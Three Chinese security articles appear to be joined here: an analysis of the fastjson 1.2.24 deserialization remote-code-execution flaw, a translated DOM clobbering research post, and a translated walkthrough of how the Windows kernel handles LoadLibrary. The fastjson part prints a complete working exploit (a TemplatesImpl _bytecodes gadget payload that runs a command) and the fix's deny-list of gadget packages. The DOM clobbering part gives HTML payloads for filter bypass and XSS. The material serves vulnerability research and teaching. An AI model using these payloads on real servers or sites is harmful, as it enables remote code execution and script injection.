fastjson是一个java编写的高性能功能非常完善的JSON库，应用范围非常广，在github上star数都超过8k，在2017年3月15日，fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。关于漏洞的具体详情可参考
https://github.com/alibaba/fastjson/wiki/security_update_20170315
#### 受影响的版本
`fastjson <= 1.2.24`
#### 静态分析
根据官方给出的补丁文件，主要的更新在这个checkAutoType函数上，而这个函数的主要功能就是添加了黑名单，将一些常用的反序列化利用库都添加到黑名单中。具体包括
bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework
下面我们来分析checkAutoType的函数实现：
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
if (typeName.length() >= maxTypeNameLength) {
throw new JSONException("autoType is not support. " + typeName);
}
final String className = typeName.replace('$', '.');
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
核心部分就是denyList的处理过程，遍历denyList，如果引入的库以denyList中某个deny打头，就会抛出异常，中断运行。
#### POC构造
静态分析得知，要构造一个可用的poc，肯定得引入denyList的库。刚开始fastjson官方公布漏洞信息时，当时就尝试构造poc，怎奈fastjson的代码确实庞大，还有asm机制，通过asm机制生成的临时代码下不了断点。当时也只能通过在通过类初始化的时候弹出一个计算器，很显然这个构造方式不具有通用性，最近jackson爆出反序列漏洞，其中就利用了TemplatesImpl类，而这个类有一个字段就是
_bytecodes，有部分函数会根据这个_bytecodes生成java实例，简直不能再更妙，这就解决了fastjson通过字段传入一个类，再通过这个类执行有害代码。后来阅读ysoserial的代码时也发现在gadgets.java这个文件中也使用到了这个类来动态生成可执行命令的代码。下面是一个poc的代码
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
Test t = new Test();
}
}
这个是Test.java的实现，在Test.java的构造函数中执行了一条命令，弹出计算器。编译Test.java得到Test.class供后续使用。后续会将Test.class的内容赋值给_bytecodes。接着分析poc
package person;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
/**
* Created by web on 2017/4/29.
*/
public class Poc {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//assertEquals(Model.class, obj.getClass());
}
public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
在这个poc中，最核心的部分是_bytecodes，它是要执行的代码，@type是指定的解析类，fastjson会根据指定类去反序列化得到该类的实例，在默认情况下，fastjson只会反序列化公开的属性和域，而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中
_bytecodes却是私有属性，_name也是私有域，所以在parseObject的时候需要设置Feature.SupportNonPublicField，这样
_bytecodes字段才会被反序列化。_tfactory这个字段在
TemplatesImpl既没有get方法也没有set方法，这没关系，我们设置_tfactory为`{
}`,fastjson会调用其无参构造函数得_tfactory对象，这样就解决了某些版本中在defineTransletClasses()用到会引用_tfactory属性导致异常退出。接下来我们看下TemplatesImpl.java的几个关键函数：
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new Hashtable();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
在getTransletInstance调用defineTransletClasses，在defineTransletClasses方法中会根据_bytecodes来生成一个java类，生成的java类随后会被getTransletInstance方法用到生成一个实例，也也就到了最终的执行命令的位置Runtime.getRuntime.exec()
下面我们上一张调用链的图，
,简单来说就是
JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec
附上一张成功执行图：
#### 总结
该程序验证的影响jdk
1.7，1.8版本，1.6未测试，但是需要在parseObject的时候设置Feature.SupportNonPublicField。
* * * | 社区文章 |
原文： <https://portswigger.net/research/dom-clobbering-strikes-back>
作者：Gareth Heyes
* * *
随着诸如XSS和[CSRF](https://portswigger.net/web-security/csrf)之类的经典客户端漏洞被修复，与[CSP](https://portswigger.net/web-security/cross-site-scripting/content-security-policy)和同源相关的漏洞也不再提及，像是DOM
Clobbering这样的攻击技术变得越来越重要。最近，在我首次[于2013年介绍该项技术](http://www.thespanner.co.uk/2013/05/16/dom-clobbering/)后，Michal Bentkowski[利用DOM
Clobbering攻击了Gmail](https://research.securitum.com/xss-in-amp4email-dom-clobbering/)。在这篇文章中，我会简单介绍一下DOM
Clobbering技术，在我原本的研究中加入一些新的技术，同时分享两个交互的实验室，这样你可以自己尝试这些新技术。如果你还不熟悉DOM
Clobbering，或许你想先阅读一下Web Security
Academy中我们对其的[介绍](https://portswigger.net/web-security/dom-based/dom-clobbering)。
## 确定DOM元素间的关系
首先，获得可以组合在一起的HTML元素列表十分简单。你只需要把两个HTML元素相邻放置，分别为其分配一个ID，然后检查第一个元素是否具有第二个元素的属性。代码如下：
var log=[];
var html = ["a","abbr","acronym","address","applet","area","article","aside","audio","b","base","basefont","bdi","bdo","bgsound","big","blink","blockquote","body","br","button","canvas","caption","center","cite","code","col","colgroup","command","content","data","datalist","dd","del","details","dfn","dialog","dir","div","dl","dt","element","em","embed","fieldset","figcaption","figure","font","footer","form","frame","frameset","h1","head","header","hgroup","hr","html","i","iframe","image","img","input","ins","isindex","kbd","keygen","label","legend","li","link","listing","main","map","mark","marquee","menu","menuitem","meta","meter","multicol","nav","nextid","nobr","noembed","noframes","noscript","object","ol","optgroup","option","output","p","param","picture","plaintext","pre","progress","q","rb","rp","rt","rtc","ruby","s","samp","script","section","select","shadow","slot","small","source","spacer","span","strike","strong","style","sub","summary","sup","svg","table","tbody","td","template","textarea","tfoot","th","thead","time","title","tr","track","tt","u","ul","var","video","wbr","xmp"], logs = [];
div=document.createElement('div');
for(var i=0;i<html.length;i++) {
for(var j=0;j<html.length;j++) {
div.innerHTML='<'+html[i]+' id=element1>'+'<'+html[j]+' id=element2>';
document.body.appendChild(div);
if(window.element1 && element1.element2){
log.push(html[i]+','+html[j]);
}
document.body.removeChild(div);
}
}
console.log(log.join('\n'));
代码执行结果与预期相似，产生了一个包含与表单相关的元素和图像元素的列表。
form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
form->select
form->textarea
所以，如果你想破坏一个对象的x.y.value值，可以这样做：
<form id=x><output id=y>I've been clobbered</output>
<script>
alert(x.y.value);
</script>
当然你也可以用我之前的技巧，使用id和name属性组成一个DOM集合。一个DOM集合类似包含多个DOM元素的数组。你可以通过数字索引或其名字访问集合中的元素。
<a id=x><a id=x name=y href="Clobbered">
<script>
alert(x.y)
</script>
## 新的DOM Clobbering技术
通过使用带有表单的DOM集合，可以深入破坏三个层次（感谢[@PwnFunction](https://twitter.com/PwnFunction)的纠正）
<form id=x name=y><input id=z></form>
<form id=x></form>
<script>
alert(x.y.z)
</script>
在Chrome中，如果在父表单中使用带有表单控件或者图像元素时，你可以将这组元素变成类似数组的对象。Chrome把这类对象标记为[object
RadioNodeList]，并且可以使用forEach这样数组中存在的方法。
<form id=x>
<input id=y name=z>
<input id=y>
</form>
<script>
x.y.forEach(element=>alert(element))
</script>
你可能好奇为什么不只使用属性(attributes)。好吧，只有在HTML规范将其定义为有效属性时，该属性才起作用。这就意味着，任何未被定义有效的属性都不具有DOM属性(property)，所以是未定义的。例如：
<form id=x y=123></form>
<script>
alert(x.y)//未定义
</script>
你可以轻易在DOM中搜索可以被破坏的属性：
var html = [...]//HTML元素数组
var props=[];
for(i=0;i<html.length;i++){
obj = document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
props.push(html[i]+':'+prop);
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));
上面的代码会显示为字符串的DOM属性，但是它们不一定可控。如果想要检查它们是否在某种程度上可控，你可以尝试给该属性赋值，并读取该值。
var html = [...]//HTML elements array
var props=[];
for(i=0;i<html.length;i++){
obj = document.createElement(html[i]);
for(prop in obj) {
if(typeof obj[prop] === 'string') {
try {
DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
if(document.getElementById('x')[prop] == 1) {
props.push(html[i]+':'+prop);
}
}catch(e){}
}
}
}
console.log([...new Set(props)].join('\n'));
在运行上述所有代码时，我注意到结果中的"username"和"password"有两个空白字符串。这些是锚标记的DOM属性，而不是HTML属性。看起来你可以通过锚来控制这些值。通过反复实验，我发现这些属性与FTP
URL中的用来提供凭据的用户名、密码部分有关。这也适用于使用@符号提供用户名和密码的HTTP URL。
<a id=x href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
alert(x.username)//Clobbered-username
alert(x.password)//Clobbered-password
</script>
你可能已经注意到在使用诸如href这样可以被破坏的属性时，浏览器通常会对这些值进行URL编码。想要解决该问题，可以使用不同的协议，例如file:或者其他协议。
<a id=x href="abc:<>">
<script>
alert(x)//abc:<>
</script>
Firefox还允许你在base标签中使用其他协议，该协议会被锚使用，同时允许未编码的值。
<base href=a:abc><a id=x href="Firefox<>">
<script>
alert(x)//Firefox<>
</script>
也可以在Chrome中做同样的事，只不过这次要在base标签的href属性中提供你想要的值：
<base href="a://Clobbered<>"><a id=x name=x><a id=x name=xyz href=123>
<script>
alert(x.xyz)//a://Clobbered<>
</script>
我们已经在Web Security Academy中发布了两个基于该技术构建的交互式DOM实验室，你可以自己尝试：
[Clobbering to enable XSS lab](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering)
[Clobbering attributes lab](https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-clobbering-attributes-to-bypass-html-filters)
## 更新：破坏多于三层
[@Terjanq](https://twitter.com/terjanq)提到，可以[使用iframes和srcdoc破坏多层的属性](https://medium.com/@terjanq/clobbering-the-clobbered-vol-2-fb199ad7ec41)。因为如果在一个iframe上设置了name属性，该iframe真正的contentWindow会分配给这个name中的全局变量，所以该技术是有效的。之后，你就可以将该iframe中的HTML元素链接在一起。例如：
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script>setTimeout(()=>alert(a.b.c.d),500)</script>
你可能已经注意到，该技术需要使用setTimeout函数引发延迟来渲染iframe。不过我找到了一种不需要timeout的使用iframe的方法！如果你使用了style/link元素来导入样式表，这会导致一个小的延迟，从而使iframe能立即被渲染并被破坏。工作方式如下：
<iframe name=a srcdoc="
<iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<style>@import '//portswigger.net';</style>
<script>
alert(a.b.c.d)
</script> | 社区文章 |
> 翻译文章，原文链接：<https://n4r1b.netlify.com/en/posts/2019/03/part-1-digging-deep-> into-loadlibrary/>
>
> 原文作者：[@n4r1b](https://www.twitter.com/n4r1b)
# 前言
在这里，我们再次来到内核，今天我们将讨论Windows
API中最重要的功能之一。做这项研究的动机来自几周前我正在研究的一个项目，当时我正在编写一个DLL的ReflectiverLoader，但我无法使其工作（最后它与一些reloc的东西有关），因此我认为发现我的错误的最好方法是看看Windows是如何处理加载库过程的。。
我将集中讨论调用LoadLibrary时执行的内核代码，因此Userland上的所有内容我都会浏览它。另一方面，我不会深入内核中的每个调用/指令，相信那里有
**很多** 代码。我将重点关注我认为最重要的功能和结构。
# LoadLibrary
在分析中，我将使用这个代码段：
int WinMain(...) {
HMODULE hHandle = LoadLibraryW(L"kerberos.dll");
return 0;
}
我使用Unicode函数，因为内核只处理这类字符串，所以我节省了一些时间来做研究。
当LoadLibraryW被执行时，首先发生的事情是执行被重定向到 **KernelBase.dll** （这与Windows自Windows
7采用的新MinWin内核有关，[更多信息](https://blog.quarkslab.com/runtime-dll-name-resolution-apisetschema-part-i.html)），在KernelBase中，函数 **RtlInitUnicodeStringEx**
第一个被调用，接下来它获取UNICODE_STRING并将其参数传递给LoadLibrary（这是一个结构而不是字符串）。接下来，我们进入函数
**LdrLoadDLL** （Prefix Ldr == Loader），其中
`r9`中的参数是一个out参数，它具有加载模块的句柄。在此之后我们进入函数 **LdrpLoadDll**
的私有版本，这两个函数是Userland的所有代码都将被执行的地方。经过一些完整性检查并进入更多函数后，我们最终进入了内核代码的第一步。要执行的内核函数是
**NtOpenSection** ，这也是我将在这篇文章中重点讨论的。在这里，我们可以在进入内核之前看到调用堆栈。
# NtOpenSection函数
我们首先需要知道的是“Section”代表什么，在Windows驱动程序文档的内存管理章节中有一个名为 [“Section Objects and
Views”](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/section-objects-and-views)的部分，其中“Section
Object”表示可以共享的存储区域，并且该对象为进程提供了将文件映射到其存储地址空间的机制（这几乎引用了doc）。
> 请记住，尽管Windows
> Kernel被认为几乎完全是用C编写的，但它有点面向对象（它不是100％面向对象，没有严格遵循继承原则），这就是为什么我们通常在内核中讨论Object
> whitin。在这种情况下是“Section Object”。
因此，考虑到一个部分的定义，完全可以理解 **NtOpenSection** 是第一个在加载库时被执行的内核函数。
让我们开始，首先让我们看看这个函数将收到的参数。如你所见，将有3个参数（我们在x64上，所以按照__fastcall调用约定，前4个参数进入寄存器）。
* `rcx` -> PHANDLE pointer that receives the handle to the Object
* `rdx` -> ACCESS_MASK requested access to the Object
* `r8` -> POBJECT_ATTRIBUTES pointer to the OBJECT_ATTRIBUTES of the DLL
这三个参数可以在下图中看到：
ACCESS_MASK是下列值的组合，可以在[winnt.h](https://www.codemachine.com/downloads/win10/winnt.h)头中获得：
#define SECTION_QUERY 0x0001
#define SECTION_MAP_WRITE 0x0002
#define SECTION_MAP_READ 0x0004
#define SECTION_MAP_EXECUTE 0x0008
几乎和其他的内核执行函数一样，这个函数首先会获取[PreviousMode](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/previousmode)，然后将会有另一个检查，在内核函数中也很常见，它将检查PHANDLE值是否超过MmUserProbeAddress，如果第二次检查出错，将弹出错误998（“无效访问内存位置”）。
> 前些日子， Project Zero的@benhawkes披露了一个与预览模式检查有关的Windows
> 内核漏洞，请务必阅读他的文章，这很棒（总是使用Project
> Zero文章）[https://googleprojectzero.blogspot.com /2019/03/windows-kernel-> logic-bug-class-> access.html](https://googleprojectzero.blogspot.com/2019/03/windows-kernel-> logic-bug-class-access.html)
如果两个检查都通过，代码将进入 **“ObOpenObjectByName”**
，这个函数将接收`rdx`中的一个类型为Section的对象，此对象是从MmSectionObjectType地址中检索的。
从现在开始，我们进入“真正的”内核代码，首先要检查我们是否在 `rcx`中收到OBJECT_ATTRIBUTES和在
`rdx`中收到OBJECT_TYPE，如果一切顺利，内核将从LookAside List 8获得一个池（KTHREAD->
PPLookAsideList） [8]
.P），我不会深入研究LookAside列表的内容，而是将它们视为某种缓存。（你可以[在这里](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/using-lookaside-lists)阅读更多内容）接下来将调用函数
**ObpCaptureObjectCreateInformation**
，经过一些完整性检查后，代码将存储一个OBJECT_CREATE_INFORMATION结构，其中包含来自之前的池中OBJECT_ATTRIBUTES的数据。
如果Object属性具有对象名( UNICODE_STRING )，该名称将被复制到 `r9` 参数中指向的地址中，但稍加修改，最大长度将更改为
`F8h`。
从那个函数返回后，开始变得有趣。首先我们从这里获得一个指向KTHREAD（`gs:188h`）的指针，我们获得了一个指向KPROCESS（KTHREAD +
`98h`\- > ApcState + `20h`\- >
Process）的指针，如你所知，KPROCESS是EPROCESS的第一个元素（有点像内核进程中的PEB）。因此，如果你得到一个指向KPROCESS的指针，你也有一个指向EPROCESS的指针。
这样，内核获取UniqueProcessId（EPROCESS +
`2E0h`），这些代码也会获得指向成员GenericMapping的指针，该成员是`0xc`结构OBJ_TYPE_INITIALIZER内部的偏移量，它位于偏移量`40h`中的结构OBJECT_TYPE内。在此之后，将调用函数
**SepCreateAccessStateFromSubjectContext**
，顾名思义，我们在调用此函数后会接收到[ACCESS_STATE](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/ns-wdm-_access_state)对象（指针作为`rdx`中的参数传递），此函数属于组件[“安全参考监视器”](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-security-reference-monitor)，此组件主要提供检查访问和权限的函数，你可以通过前缀 **Se** 识别这些函数。
下一步，可能是此过程中最重要的一步，是执行函数 **ObpLookupObjectName**
。同样，这个名字给了我们一点关于这个方法功能的信息，在这里代码将基于一个名字（在本例中为DLL名称）来寻找一个对象。通过查看函数Graph，我们可以看出它是一个重要的函数。
理解这些函数的一个非常有价值的方面是知道函数期望的参数是什么，很多内核函数没有在WDK上记录下来，所以我们有两个选择，
第一种方法是内核逆向，尝试理解哪些参数被传递给函数，第二种方法更快，就是在Google上搜索函数，你可能会进入[ReactOS](https://reactos.org/)，这是一个超级棒的项目（有点像开源Windows），这个项目中有很多函数几乎完全匹配Windows内核，这是理解内核中很多东西的好方法，所以一定要访问该项目。
关于这个函数参数，请看下图：
在这个函数中，首先要初始化结构[OBP_LOOKUP_CONTEXT](https://doxygen.reactos.org/dd/d94/struct__OBP__LOOKUP__CONTEXT.html)，接下来我们通过调用
**ObReferenceObjectByHandle** 获得对“KnownDlls”目录对象的引用，该对象包含已经加载到内存中的Section
Objects列表，并且每个对应于来自“KnownDlls”注册表项的一个DLL。
> **Spoiler：** 正如你在Userland调用堆栈中所看到的， **NtOpenSection** 之前的函数称为
> **LdrpFindKnownDll** ，这意味着如果我们尝试加载的DLL不在“KnownDlls”列表中，我们将收到错误。
接下来代码将使用DLL的名称计算Hash值，它将检查此Hash值是否与“KnownDlls”中的一个Hash值匹配，如果没有匹配那么函数将返回错误“c0000034：“找不到对象名“。
从这里开始，流程主要是在返回Userland之前清理所有内容。
> **Another Spoiler：**
> 在第2部分，我们将看到Userland在收到错误“c0000034”时如何反应。快速预览将会找到DLL，并调用函数NtOpenFile。
# KnownDll
现在让我们假设我们正在寻找的DLL在已知Dll列表中，因为我懒得再次编译代码，我们将“kerberos.dll”添加到此列表中。我们可以在以下注册表中找到此列表：
_HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager\KnownDLLs_
> **注意！** 我们需要提升权限来执行此操作，在我的例子中，我只是将自己设置为该密钥的所有者并添加了DLL。
在下图中，你可以看到Kerberos
DLL如何作为已知DLL的一部分加载（没有检查太多，但我相信名称必须是大写，因为hash是使用DLL的大写名称计算的，，但是有些情况下像“kernel32.dll”是小写的，所以我需要对此进行更多的研究）。
我们可以看到函数 **ObpLookupObjectName** 这次作为NTSTATUS是如何返回0而非“c0000034”。
对于这种情况，我们将直接从函数 **ObpLookupObjectName**
开始，特别是从计算散列的点开始（在这两种情况，代码流都是相同的）。这次我们将通过查看以下伪代码来查看hash的计算方法：
> **注意！** 此函数未记录，因此很可能实现从一个版本的Windows更改为另一个版本，甚至从一个SP更改为下一个版本。特别是我正在研究这个版本的内核：
> **Windows 8.1 Kernel Version 9600 MP (2 procs) Free x64**
// Credit to Hex-Ray xD
QWORD res = 0;
DWORD hash = 0;
DWORD size = Dll.Length >> 1;
PWSTR dll_buffer = unicode_string_dll.Buffer;
if (size > 4) {
do {
QWORD acc = dll_buffer;
if (!(Dll_Buffer & ff80ff80ff80ff80h))
acc = (QWORD *) Dll_Buffer & ffdfffdfffdfffdfh;
}
/* This code is really executed in the else statement, the if
statement is a while that goes element by element substracting
20h from every element between 61h and 7Ah, of course that's
much slower than this */
size -= 4;
dll_buffer += 4;
res = acc + (res >> 1) + 3 * res;
} while (size >= 4)
hash = (DWORD) res + (res >> 20h)
/* If size is not a multiple of 4 the last iteration
would be done using the while explained before */
}
obpLookupCtx.HashValue = hash;
obpLookupCtx.HashIndex = hash % 25;
如果你使用DLL名称“kerberos.dll”执行此操作，希望你将获得`20h`对应于十进制值32 的HashIndex
，如果你仔细检查我的图片，其中“kerberos.dll”是作为已知DLL的一部分加载，并在hash列中进行检查，你可以看到值是32。接下来，该函数检查写入OBP
_LOOKUP_ CONTEXT结构的计算散列是否与该部分的散列以及计算索引相匹配：
如果第一次检查顺利，则代码`OBJECT_HEADER_NAME_INFO`将使用公式获取`ObjectHeader -ObpInfoMaskToOffset - ObpInfoMaskToOffset[InfoMask &
3]`，并且根据我们作为参数传递给函数LoadLibrary的名称再次检查对象的名称。如果进展顺利，那么`OBP_LOOKUP_CONTEX`的成员对象和EntryLink将被填充，经过多次检查，这个结构将被复制到外部参数指针中，我们将从这个函数返回。该函数有两个out参数，返回后，第一个参数将有指向对象的指针，第二个参数将有指向填充的`OBP_LOOKUP_CONTEX`结构的指针。
如果检查函数接收的参数（[此处](https://n4r1b.netlify.com/en/posts/2019/03/part-1-digging-deep-into-loadlibrary/#params_obp)），`FoundObject`值将为`rsp +
68h`，而`OBP_LOOKUP_CONTEX`结构将为`rsp +
48h`。另外看看这个对象怎么还没有打开任何句柄，这将发生在我们今天要学习的最后一个函数 **ObpCreateHandle**
中，这个函数将会从对象中获取句柄。
这个函数也有很多代码，因为这已经很长了，我不会详细介绍（也许在其他帖子中我可以详细介绍，因为它是一个非常有趣的函数）。
**ObpCreateHandle** 将接收的最重要的参数是在`rcx`上，它将从`OB_OPEN_REASON`枚举中接收一个值。以下之一：
ObCreateHandle = 0
ObOpenHandle = 1
ObDuplicateHandle = 2
ObInheritHandle = 3
ObMaxOpenReason = 4
然后在`rdx`函数中期望引用对象（DLL Section
Object），并在`r9`函数中接收ACCESS_STATE结构，其中包含ACCESS_MASK以及其他有趣的内容。
我们考虑到这一点，并且在这种情况下知道`OB_OPEN_REASON`枚举的值将是`ObOpenHandle`，让我们开始。该函数将做的第一件事是检查我们试图获取的处理程序是否用于内核对象（换句话说，我们正在尝试获取[内核句柄](https://docs.microsoft.com/en-us/windows/desktop/sysinfo/kernel-objects)）。如果不是这种情况，那么函数将检索`KTHREAD->ApcState->Process->(EPROCESS)
ObjectTable`对应于`HANDLE_TABLE`结构的ObjectTable（），在一些检查之后，将调用函数[
**ExAcquireResourceSharedLite**](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-exacquireresourcesharedlite)以获取[
**PrimaryToken**](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-exacquireresourcesharedlite)的资源（当我说资源时，我指的是某种互斥体的`ERESOURCES`结构，你可以[在这里](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-eresource-routines)阅读更多有关资源的信息）。
如果已获取资源，则将调用函数[ **SeAccessCheck**](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-seaccesscheck)，这些函数检查是否可以授予对特定对象的请求访问权限。如果授予了这些权限，我们进入函数
**ObpIncrementHandleCountEx**
，它负责从我们试图获取句柄的节对象和一般对象类型计数中递增句柄计数（这个函数只增加计数器，但这个并不意味着句柄是打开的。这可以通过运行`!object
[object]`来检查，你会注意到HandleCount已经递增，但是你将看不到对这个检查过程的句柄`!handle`的任何引用）
最后句柄将打开。为了节省一些时间，我将展示一些伪代码如何完成，我将在代码中添加注释。（再次由Hex-Rays赞助的伪代码）。
// I'm goint to simplify, there will be no check nor casts
HANDLE_TABLE * HandleTable = {};
HANDLE_TABLE_ENTRY * NewHandle = {};
HANDLE_TABLE_FREE_LIST * HandlesFreeList = {};
// Get reference to the Object and his attributes (rsp+28h), to get
// the object we use the Object Header (OBJECT_HEADER) which is
// obtained from the Object-30h (OBJECT_HEADER+30h->Body)
QWORD LowValue =
(((DWORD) Attributes & 7 << 11) | (Dll_object - 30h << 10) | 1)
// Get the type, Object-18h (OBJECT_HEADER+18h->TypeIndex)
HIDWORD(HighValue) = Dll_Object - 18h
// Get the requested access
LODWORD(HighValue) = ptrAccessState.PrevGrantedAccess & 0xFDFFFFFF;
// Get the HANDLE_TABLE from the process
HandleTable = KeGetCurrentThread()->ApcState.Process->ObjectTable;
// Calculate index based on Processor number
indexTable = Pcrb.Number % nt!ExpUuidSequenceNumberValid+0x1;
// Get the List of Free Handles
HandlesFreeList = HandleTable->FreeLists[indexTable];
if(HandlesFreeList) {
Lock(HandlesFreeList); // This is more complex than this
// Get the First Free Handle
NewHandle = HandlesFreeList->FirstFreeHandleEntry;
if (NewHandle) {
// Make the Free handles list point to the next free handle
tmp = NewHandle->NextFreeHandleEntry;
HandlesFreeList->FirstFreeHandleEntry = tmp;
// Increment Handle count
++HandlesFreeList->HandleCount;
}
UnLock(HandlesFreeList);
}
if (NewHandle) {
// Obtain the HandleValue, just to return it
tmp = *((NewHandle & 0xFFFFFFFFFFFFF000) + 8)
tmp1 = NewHandle - (NewHandle & 0xFFFFFFFFFFFFF000) >> 4;
HandleValue = tmp + tmp1*4;
// Assign pre-computed values to the handle so it
// knows to which object points, whick type of object it
// is and which permissions where granted
NewHandle->LowValue = LowValue;
NewHandle->HighValue = HighValue;
}
